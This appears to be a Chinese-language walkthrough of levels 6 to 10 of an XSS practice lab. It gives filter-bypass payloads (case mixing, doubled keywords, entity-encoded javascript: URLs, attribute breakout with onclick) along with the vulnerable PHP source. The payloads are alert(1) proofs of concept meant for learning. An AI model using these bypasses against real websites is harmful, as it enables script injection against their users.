XSS挑戰賽(2)
進入第六關
簡單判斷過濾情況
<>script"'/
檢視原始碼
可以看到第二個紅框部分跟之前類似,閉合雙引號嘗試進行彈窗
"><script>alert(1)</script>
關鍵字被下劃線分割了,嘗試使用前一關的payload
"><a href="javascript:alert(1)">hi</a>
前一關的payload已經行不通了,猜測應該是後端過濾關鍵字變多。
嘗試使用大小寫進行突破
"><scRIpt>alert(1)</scRIpt>
成功通過
進入第七關
簡單檢測
<>script"'/
原始碼value 中的script被替換成為了空,看到這種結果第一時間想到雙寫繞過
"><scscriptript>alert(1)</scscriptript>
成功繞過
第八關
簡單進行檢測
<>script"'/
結果為:
因為script被分割,所以也不能使用payload
javascript:alert(1)
同時嘗試大小寫繞過也無果
但是可以看出來,第一個紅框中尖括號被過濾了,第二個紅框中尖括號沒有被過濾,可以猜測只有第一個輸出點被XSS過濾函式過濾了,所以我們的突破點在第二個紅框中。
關於該處的利用方式,在這篇博文中與相關的介紹:
https://0verwatch.top/xss-encodeorder.html
使用XSS編碼來進行繞過
我們可以根據瀏覽器解析編碼的順序來觸發XSS,因為後端是對敏感字元進行整體替換,所以進行編碼後就可繞過
$str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6);
根據引用的那篇博文,我們可知瀏覽器如果要把HTML編碼解析並且渲染前提必須要這種編碼一定要在標籤內某個屬性裡面才行。
編碼網站:https://www.qqxiuzi.cn/bianma/zifushiti.php
所以最後的payload可為:(答案不唯一)
javascript:alert(1)
新增後點擊友情連結即可XSS,其原始碼為:
<center><BR><a href="javascript:alert(1)">友情連結</a></center><center><img src=level8.jpg></center>
進入第九關
後面部分關卡比較複雜,從原始碼分析繞過,貼出部分原始碼:
$str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6);
這裡是基礎的替換,跟上一關相同。
接著是本關特色,對於url合法性的判斷:
if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的連結不合法?有沒有!">友情連結</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情連結</a></center>'; }
這裡判斷字串中是否存在http://,存在的話就回到上一關的頁面顯示程式碼,所以我們只需要在payload裡面找個合適的位置新增http://即可
javascript:alert`http://`
進入第十關
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?>
可以看到傳入了 keyword 和 t_sort引數,對於 keyword 使用htmlspecialchars函式來進行過濾,對 t_sort 引數只是進行了簡單的尖括號的替換,所以很明顯突破點是在 t_sort 引數處。
僅僅是過濾了尖括號,我們使用事件來進行繞過
?keyword="well done!"&t_sort=" onclick=alert`1` " type="text"
為了最後能夠點選,我們將型別設定為text即可。
參考連結: